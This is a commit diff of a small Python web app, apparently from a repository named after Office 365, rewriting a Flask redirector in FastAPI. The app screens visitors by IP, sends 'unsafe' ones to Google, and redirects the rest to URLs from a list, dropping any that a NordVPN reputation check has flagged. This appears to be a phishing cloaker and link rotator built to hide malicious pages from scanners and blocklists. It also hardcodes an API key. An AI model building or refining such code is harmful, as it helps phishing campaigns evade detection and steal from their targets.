office-365 commited on
Commit
b1aa2b9
1 Parent(s): 2474324

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +15 -13
app.py CHANGED
@@ -1,8 +1,9 @@
1
  import os
2
  import requests
3
- from flask import Flask, redirect
 
4
 
5
- app = Flask(__name__)
6
 
7
  # API key untuk ipregistry
8
  IPREGISTRY_API_KEY = 'ira_GYYtIHMCfYyR7J46wHNuhW8Xz6xkuq32Vw3z'
@@ -36,13 +37,13 @@ def check_ip():
36
  # Fungsi untuk membaca URL dari file url.txt
37
  def get_next_url():
38
  if not os.path.exists(URL_FILE_PATH):
39
- return None
40
  with open(URL_FILE_PATH, 'r') as file:
41
  urls = file.readlines()
42
 
43
  urls = [url.strip() for url in urls if url.strip()]
44
  if not urls:
45
- return None
46
 
47
  return urls[0], urls[1:]
48
 
@@ -57,20 +58,20 @@ def check_url(url):
57
  response = requests.post(nordvpn_api, json={"url": url})
58
  return response.json()
59
 
60
- @app.route('/')
61
- def check_ip_and_redirect():
62
  try:
63
  # Cek IP terlebih dahulu
64
  is_safe_ip = check_ip()
65
 
66
  if not is_safe_ip:
67
- return redirect('https://www.google.com')
68
 
69
  # Ambil URL pertama dari url.txt
70
  url, remaining_urls = get_next_url()
71
 
72
  if url is None:
73
- return 'No URL available'
74
 
75
  # Periksa URL menggunakan API NordVPN
76
  result = check_url(url)
@@ -78,14 +79,15 @@ def check_ip_and_redirect():
78
 
79
  # Jika category 1, redirect ke URL
80
  if category == 1:
81
- return redirect(url)
82
  else:
83
  # Jika selain category 1, hapus URL dari file dan periksa URL berikutnya
84
  update_url_file(remaining_urls)
85
- return check_ip_and_redirect()
86
 
87
  except Exception as e:
88
- return f'Error: {str(e)}'
89
 
90
- if __name__ == '__main__':
91
- app.run(debug=True)
 
 
1
  import os
2
  import requests
3
+ from fastapi import FastAPI
4
+ from fastapi.responses import RedirectResponse
5
 
6
+ app = FastAPI()
7
 
8
  # API key untuk ipregistry
9
  IPREGISTRY_API_KEY = 'ira_GYYtIHMCfYyR7J46wHNuhW8Xz6xkuq32Vw3z'
 
37
  # Fungsi untuk membaca URL dari file url.txt
38
  def get_next_url():
39
  if not os.path.exists(URL_FILE_PATH):
40
+ return None, []
41
  with open(URL_FILE_PATH, 'r') as file:
42
  urls = file.readlines()
43
 
44
  urls = [url.strip() for url in urls if url.strip()]
45
  if not urls:
46
+ return None, []
47
 
48
  return urls[0], urls[1:]
49
 
 
58
  response = requests.post(nordvpn_api, json={"url": url})
59
  return response.json()
60
 
61
+ @app.get("/")
62
+ async def check_ip_and_redirect():
63
  try:
64
  # Cek IP terlebih dahulu
65
  is_safe_ip = check_ip()
66
 
67
  if not is_safe_ip:
68
+ return RedirectResponse(url='https://www.google.com')
69
 
70
  # Ambil URL pertama dari url.txt
71
  url, remaining_urls = get_next_url()
72
 
73
  if url is None:
74
+ return {"message": "No URL available"}
75
 
76
  # Periksa URL menggunakan API NordVPN
77
  result = check_url(url)
 
79
 
80
  # Jika category 1, redirect ke URL
81
  if category == 1:
82
+ return RedirectResponse(url=url)
83
  else:
84
  # Jika selain category 1, hapus URL dari file dan periksa URL berikutnya
85
  update_url_file(remaining_urls)
86
+ return await check_ip_and_redirect()
87
 
88
  except Exception as e:
89
+ return {"error": str(e)}
90
 
91
+ if __name__ == "__main__":
92
+ import uvicorn
93
+ uvicorn.run("app:app", host="0.0.0.0", port=7860, reload=True)